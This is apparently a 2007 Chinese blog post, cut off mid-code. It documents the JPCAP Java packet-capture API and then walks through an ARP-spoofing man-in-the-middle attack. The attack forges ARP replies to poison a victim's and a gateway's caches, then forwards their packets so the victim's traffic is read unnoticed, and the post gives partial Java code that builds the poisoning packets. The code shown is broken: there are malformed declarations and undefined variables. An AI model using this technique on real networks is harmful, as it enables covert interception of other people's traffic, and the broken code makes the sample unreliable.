一．
JPCAP
簡(jiǎn)介
眾所周知，JAVA語言雖然在TCP/UDP傳輸方面給予了良好的定義，但對(duì)于網(wǎng)絡(luò)層以下的控制，卻是無能為力的。JPCAP擴(kuò)展包彌補(bǔ)了這一點(diǎn)。
JPCAP實(shí)際上并非一個(gè)真正去實(shí)現(xiàn)對(duì)數(shù)據(jù)鏈路層的控制，而是一個(gè)中間件，JPCAP調(diào)用wincap/libpcap，而給JAVA語言提供一個(gè)公共的接口，從而實(shí)現(xiàn)了平臺(tái)無關(guān)性。在官方網(wǎng)站上聲明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統(tǒng)。
二．
JPCAP
機(jī)制
?????? JPCAP的整個(gè)結(jié)構(gòu)大體上跟wincap/libpcap是很相像的，例如NetworkInterface類對(duì)應(yīng)wincap的typedef struct _ADAPTER??ADAPTER，getDeviceList()對(duì)應(yīng)pcap_findalldevs()等等。 JPCAP有16個(gè)類，下面就其中最重要的4個(gè)類做說明。
?
1．
NetworkInterface
該類的每一個(gè)實(shí)例代表一個(gè)網(wǎng)絡(luò)設(shè)備，一般就是網(wǎng)卡。這個(gè)類只有一些數(shù)據(jù)成員，除了繼承自java.lang.Object的基本方法以外，沒有定義其它方法。
?
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數(shù)據(jù)成員
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NetworkInterfaceAddress[]
|
addresses
???
這個(gè)接口的網(wǎng)絡(luò)地址。設(shè)定為數(shù)組應(yīng)該是考慮到有些設(shè)備同時(shí)連接多條線路，例如路由器。但我們的PC機(jī)的網(wǎng)卡一般只有一條線路，所以我們一般取addresses[0]就夠了。
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?java.lang.String
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datalink_description
.
???
數(shù)據(jù)鏈路層的描述。描述所在的局域網(wǎng)是什么網(wǎng)。例如，以太網(wǎng)（Ethernet）、無線LAN網(wǎng)（wireless LAN）、令牌環(huán)網(wǎng)(token ring)等等。
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?java.lang.String
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datalink_name
??
該網(wǎng)絡(luò)設(shè)備所對(duì)應(yīng)數(shù)據(jù)鏈路層的名稱。具體來說，例如Ethernet10M、100M、1000M等等。
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?java.lang.String
|
description
??
網(wǎng)卡是XXXX牌子XXXX型號(hào)之類的描述。例如我的網(wǎng)卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
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?boolean
|
Loopback
???
標(biāo)志這個(gè)設(shè)備是否loopback設(shè)備。
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?byte[]
|
mac_address
???
網(wǎng)卡的MAC地址，6個(gè)字節(jié)。
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?java.lang.String
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Name
???
這個(gè)設(shè)備的名稱。例如我的網(wǎng)卡名稱：\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
|
?
2．
JpcapCaptor
該類提供了一系列靜態(tài)方法實(shí)現(xiàn)一些基本的功能。該類一個(gè)實(shí)例代表建立了一個(gè)與指定設(shè)備的鏈接，可以通過該類的實(shí)例來控制設(shè)備，例如設(shè)定網(wǎng)卡模式、設(shè)定過濾關(guān)鍵字等等。
?
|
數(shù)據(jù)成員
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?int
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dropped_packets?
拋棄的包的數(shù)目。
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protected ?int
|
ID
???
這個(gè)數(shù)據(jù)成員在官方文檔中并沒有做任何說明，查看
JPCAP
源代碼可以發(fā)現(xiàn)這個(gè)
ID
實(shí)際上在其
JNI
的
C
代碼部分傳進(jìn)來的，這類本身并沒有做出定義，所以是供其內(nèi)部使用的。實(shí)際上在對(duì)
JpcapCator
實(shí)例的使用中也沒有辦法調(diào)用此數(shù)據(jù)成員。
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protected static?boolean[]
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instanciatedFlag
??
同樣在官方文檔中沒有做任何說明，估計(jì)其為供內(nèi)部使用。
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protected static?int
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MAX_NUMBER_OF_INSTANCE
同樣在官方文檔中沒有做任何說明，估計(jì)其為供內(nèi)部使用。
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int
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received_packets
????????
收到的包的數(shù)目
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方法成員
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static?NetworkInterface[]
|
getDeviceList
()
??????????
返回一個(gè)網(wǎng)絡(luò)設(shè)備列表。
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static?JpcapCaptor
|
openDevice
(NetworkInterface interface, int?snaplen, boolean?promisc, int?to_ms)
????????
創(chuàng)建一個(gè)與指定設(shè)備的連接并返回該連接。注意，以上兩個(gè)方法都是靜態(tài)方法。
????? Interface
：要打開連接的設(shè)備的實(shí)例；
????? Snaplen
：這個(gè)是比較容易搞混的一個(gè)參數(shù)。其實(shí)這個(gè)參數(shù)不是限制只能捕捉多少數(shù)據(jù)包，而是限制每一次收到一個(gè)數(shù)據(jù)包，只提取該數(shù)據(jù)包中前多少字節(jié)；
????? Promisc
：設(shè)置是否混雜模式。處于混雜模式將接收所有數(shù)據(jù)包，若之后又調(diào)用了包過濾函數(shù)
setFilter()
將不起任何作用；
????? To_ms
：這個(gè)參數(shù)主要用于
processPacket()
方法，指定超時(shí)的時(shí)間；
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?void
|
Close
()
??????????關(guān)閉調(diào)用該方法的設(shè)備的連接，相對(duì)于openDivece()打開連接。
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?JpcapSender
|
getJpcapSenderInstance
()
?????????
該返回一個(gè)
JpcapSender
實(shí)例，
JpcapSender
類是專門用于控制設(shè)備的發(fā)送數(shù)據(jù)包的功能的類。
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?Packet
|
getPacket
()
??????????
捕捉并返回一個(gè)數(shù)據(jù)包。這是
JpcapCaptor
實(shí)例中四種捕捉包的方法之一。
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?int
|
loopPacket
(int?count, PacketReceiver handler)
?????????
捕捉指定數(shù)目的數(shù)據(jù)包，并交由實(shí)現(xiàn)了
PacketReceiver
接口的類的實(shí)例處理，并返回捕捉到的數(shù)據(jù)包數(shù)目。如果
count
參數(shù)設(shè)為－
1
，那么無限循環(huán)地捕捉數(shù)據(jù)。
?????
這個(gè)方法不受超時(shí)的影響。還記得
openDivice()
中的
to_ms
參數(shù)么？那個(gè)參數(shù)對(duì)這個(gè)方法沒有影響，如果沒有捕捉到指定數(shù)目數(shù)據(jù)包，那么這個(gè)方法將一直阻塞等待。
PacketReceiver
中只有一個(gè)抽象方法
void receive(Packet p)
。
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?int
|
processPacket
(int?count, PacketReceiver handler)
??????????
跟
loopPacket
()
功能一樣，唯一的區(qū)別是這個(gè)方法受超時(shí)的影響，超過指定時(shí)間自動(dòng)返回捕捉到數(shù)據(jù)包的數(shù)目。
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?int
|
dispatchPacket
(int?count, PacketReceiver?handler)
????????
跟
processPacket
()
功能一樣，區(qū)別是這個(gè)方法可以處于“non-blocking”模式工作，在這種模式下dispatchPacket()可能立即返回，即使沒有捕捉到任何數(shù)據(jù)包。
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?void
|
setFilter
(java.lang.String?condition, boolean?optimize)
??????????.
condition
：
設(shè)定要提取的包的關(guān)鍵字。
??????
Optimize
：這個(gè)參數(shù)在說明文檔以及源代碼中都沒有說明，只是說這個(gè)參數(shù)如果為真，那么過濾器將處于優(yōu)化模式。
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?void
|
setNonBlockingMode
(boolean?nonblocking)
????
如果值為“
true
”，那么設(shè)定為“
non-blocking
”模式。
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?void
|
breakLoop
()
????
當(dāng)調(diào)用
processPacket()
和
loopPacket()
后，再調(diào)用這個(gè)方法可以強(qiáng)制讓
processPacket()
和
loopPacket()
停止。
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?
3．
JpcapSender
該類專門用于控制數(shù)據(jù)包的發(fā)送。
?
|
方法成員
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?void
|
close
()
?????????
強(qiáng)制關(guān)閉這個(gè)連接。
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static?JpcapSender
|
openRawSocket
()
????
這個(gè)方法返回的
JpcapSender
實(shí)例發(fā)送數(shù)據(jù)包時(shí)將自動(dòng)填寫數(shù)據(jù)鏈路層頭部分。
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?void
|
sendPacket
(Packet packet)
??????????JpcapSender
最重要的功能，發(fā)送數(shù)據(jù)包。需要注意的是，如果調(diào)用這個(gè)方法的實(shí)例是由
JpcapCaptor
的
getJpcapSenderInstance
()
得到的話，需要自己設(shè)定數(shù)據(jù)鏈路層的頭，而如果是由上面的openRawSocket()
得到的話，那么無需也不能設(shè)置，數(shù)據(jù)鏈路層的頭部將由系統(tǒng)自動(dòng)生成。
|
?
4．
Packet
這個(gè)是所有其它數(shù)據(jù)包類的父類。Jpcap所支持的數(shù)據(jù)包有：
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket
?
三．使用JPCAP
實(shí)現(xiàn)監(jiān)聽
?????? 1
．監(jiān)聽原理
?????? 在詳細(xì)說用JPCAP實(shí)現(xiàn)網(wǎng)絡(luò)監(jiān)聽實(shí)現(xiàn)前，先簡(jiǎn)單介紹下監(jiān)聽的原理。
?????? 局域網(wǎng)監(jiān)聽利用的是所謂的“ARP欺騙”技術(shù)。在以前曾經(jīng)一段階段，局域網(wǎng)的布局是使用總線式（或集線式）結(jié)構(gòu)，要到達(dá)監(jiān)聽只需要將網(wǎng)卡設(shè)定為混雜模式即可，但現(xiàn)在的局域網(wǎng)絡(luò)普遍采用的是交換式網(wǎng)絡(luò)，所以單純靠混雜模式來達(dá)到監(jiān)聽的方法已經(jīng)不可行了。所以為了達(dá)到監(jiān)聽的目的，我們需要“欺騙”路由器、“欺騙”交換機(jī)，即“ARP欺騙”技術(shù)。
?????? 假設(shè)本機(jī)為A，監(jiān)聽目標(biāo)為B。
首先，偽造一個(gè)ARP REPLY包，數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址，而源IP部分填入網(wǎng)關(guān)IP，目的地址填入B的MAC、IP，然后將這個(gè)包發(fā)送給B，而B接收到這個(gè)偽造的ARP REPLY包后，由于源IP為網(wǎng)關(guān)IP，于是在它的ARP緩存表里刷新了一項(xiàng)，將（網(wǎng)關(guān)IP，網(wǎng)關(guān)MAC）刷新成（網(wǎng)關(guān)IP，A的MAC）。而B要訪問外部的網(wǎng)都需要經(jīng)過網(wǎng)關(guān)，這時(shí)候這些要經(jīng)過網(wǎng)關(guān)的包就通通流到A的機(jī)器上來了。
接著，再偽造一個(gè)ARP REPLY包，數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入網(wǎng)關(guān)MAC、IP，然后將這個(gè)包發(fā)給網(wǎng)關(guān)，網(wǎng)關(guān)接收到這個(gè)偽造的ARP REPLY包后，由于源IP為B的IP，于是在它的ARP緩存表里刷新了一項(xiàng)，將（B的IP，B的MAC）刷新成（B的IP，A的MAC）。這時(shí)候外部傳給B的數(shù)據(jù)包經(jīng)過網(wǎng)關(guān)時(shí)，就通通轉(zhuǎn)發(fā)給A。
這樣還只是攔截了B的數(shù)據(jù)包而已，B并不能上網(wǎng)——解決方法是將接收到的包，除了目的地址部分稍做修改，其它原封不動(dòng)的再轉(zhuǎn)發(fā)出去，這樣就達(dá)到了監(jiān)聽的目的——在B不知不覺中瀏覽了B所有的對(duì)外數(shù)據(jù)包。
?
ARP
數(shù)據(jù)包解析
單元：
Byte
|
Ethernet
頭部
|
ARP
數(shù)據(jù)部分
|
|
６
|
６
|
２
|
2
|
2
|
2
|
2
|
４
|
６
|
４
|
６
|
|
目標(biāo)
MAC
地址
|
源地
MAC
地址
|
類型號(hào)
0x0800:ip
0x0806:ARP
|
局域網(wǎng)類型
以太網(wǎng)
0x0001
|
網(wǎng)絡(luò)協(xié)議類型
IP
網(wǎng)絡(luò)
0x0800
|
MAC/IP
地址長(zhǎng)度，恒為
0x06/04
|
ARP
包類型
REPLY
0x0002
|
ARP
目標(biāo)
IP
地址
|
ARP
目標(biāo)
MAC
地址
|
ARP
源
IP
地址
|
ARP
源
MAC
地址
|
?
2
．用JPCAP
實(shí)現(xiàn)監(jiān)聽
?????? 就如上面說的，為了實(shí)現(xiàn)監(jiān)聽，我們必須做四件事：
A．發(fā)送ARP包修改B的ARP緩存表；
B．發(fā)送ARP包修改路由ARP緩存表；
C．轉(zhuǎn)發(fā)B發(fā)過來的數(shù)據(jù)包；
D．轉(zhuǎn)發(fā)路由發(fā)過來的數(shù)據(jù)包；
?
下面我們給個(gè)小小的例子說明怎樣實(shí)現(xiàn)。
我們假定運(yùn)行這個(gè)程序的機(jī)器A只有一個(gè)網(wǎng)卡，只接一個(gè)網(wǎng)絡(luò)，所在局域網(wǎng)為Ethernet，并且假定已經(jīng)通過某種方式獲得B和網(wǎng)關(guān)的MAC地址（例如ARP解析獲得）。我們修改了B和網(wǎng)關(guān)的ARP表，并對(duì)他們的包進(jìn)行了轉(zhuǎn)發(fā)。
public class changeARP{
???????? private NetworkInterface[] devices;?????????????????????????? //
設(shè)備列表
???????? private NetworkInterface device;?????????????????????????????? //
要使用的設(shè)備
???????? private JpcapCaptor jpcap;??????????????????????????????????????? //
與設(shè)備的連接
???????? private JpcapSender sender;?????????????????????????????????????? //
用于發(fā)送的實(shí)例
???????? private byte[] targetMAC, gateMAC;?????????????????????? //B
的
MAC
地址，網(wǎng)關(guān)的
MAC
地址
???????? private byte[] String targetIp, String gateIp;????????????? //B
的
IP
地址，網(wǎng)關(guān)的
IP
地址
???????? /**
???????? *
初始化設(shè)備
???????? * JpcapCaptor.getDeviceList()
得到設(shè)備可能會(huì)有兩個(gè)，其中一個(gè)必定是“
Generic
*dialup adapter
”，
這是
windows
系統(tǒng)的虛擬網(wǎng)卡，并非真正的硬件設(shè)備。
*
注意：在這里有一個(gè)小小的
BUG
，如果
JpcapCaptor.getDeviceList()
之前有類似
JFrame jf=new
*JFame
（）這類的語句會(huì)影響得到設(shè)備個(gè)數(shù)，只會(huì)得到真正的硬件設(shè)備，而不會(huì)出現(xiàn)虛擬網(wǎng)卡。
*
虛擬網(wǎng)卡只有
MAC
地址而沒有
IP
地址，而且如果出現(xiàn)虛擬網(wǎng)卡，那么實(shí)際網(wǎng)卡的
MAC
將分
*
配給虛擬網(wǎng)卡，也就是說在程序中調(diào)用
device.
mac_address
時(shí)得到的是
00 00 00 00 00 00
。
???????? */
???????? private NetworkInterface getDevice() throws IOException {
???????? ???????? devices = JpcapCaptor.getDeviceList();???????????????????????????????????????????????? //
獲得設(shè)備列表
?????????????????? device = devices[0];??????????????????????????????????????????????????????????????????????????????? //
只有一個(gè)設(shè)備
?????????????????? jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);??? ???????? //
打開與設(shè)備的連接
?????????????????? jpcap.setFilter(“ip”,true);?????????????????????????????????????????????????????????????????????? //
只監(jiān)聽
B
的
IP
數(shù)據(jù)包
?????????????????? sender = captor.getJpcapSenderInstance();
???????? }
???????? /**
???????? *
修改
B
和網(wǎng)關(guān)的
ARP
表。因?yàn)榫W(wǎng)關(guān)會(huì)定時(shí)發(fā)數(shù)據(jù)包刷新自己和
B
的緩存表，所以必須每隔一
???????? *
段時(shí)間就發(fā)一次包重新更改
B
和網(wǎng)關(guān)的
ARP
表。
???????? *@
參數(shù)
targetMAC ????????? B
的
MAC
地址，可通過
ARP
解析得到；
???????? *@
參數(shù)
targetIp ??????????????? B
的
IP
地址；
???????? *@
參數(shù)
gateMAC ????????????
網(wǎng)關(guān)的
MAC
地址；
???????? *@
參數(shù)
gateIp????????????????????
網(wǎng)關(guān)的
IP;
???????? */
???????? public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
??????????????????????????? throws UnknownHostException,InterruptedException {
?????????????????? this. targetMAC = ?targetMAC;
?????????????????? this. targetIp = ?targetIp;
?????????????????? this. gateMAC = gateMAC;
?????????????????? this. gateIp = gateIp;
?????????????????? getDevice();
?????????????????? arpTarget = new ARPPacket();???????????????????????????????????????????????????? //
修改
B
的
ARP
表的
ARP
包
?????????????????? arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;????????? //
選擇以太網(wǎng)類型
(Ethernet)
?????????????????? arpTarget.prototype = ARPPacket.PROTOTYPE_IP;??????????????? //
選擇
IP
網(wǎng)絡(luò)協(xié)議類型
?????????????????? arpTarget.operation = ARPPacket.ARP_REPLY;???????????????????????? //
選擇
REPLY
類型
?????????????????? arpTarget.hlen = 6;??????????????????????????????????????????????????????????????????????? //MAC
地址長(zhǎng)度固定
6
個(gè)字節(jié)
?????????????????? arpTarget.plen = 4;??????????????????????????????????????????????????????????????????????? //IP
地址長(zhǎng)度固定
4
個(gè)字節(jié)
?????????????????? arpTarget.sender_hardaddr = device.mac_address;?????????????????????? //A
的
MAC
地址
?????????????????? arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();?????? //
網(wǎng)關(guān)
IP
?????????????????? arpTarget.target_hardaddr = targetMAC;?????????????????????????????????????????????? //B
的
MAC
地址
????&nbs
posted on 2007-02-02 19:46
???MengChuChen 閱讀(730)
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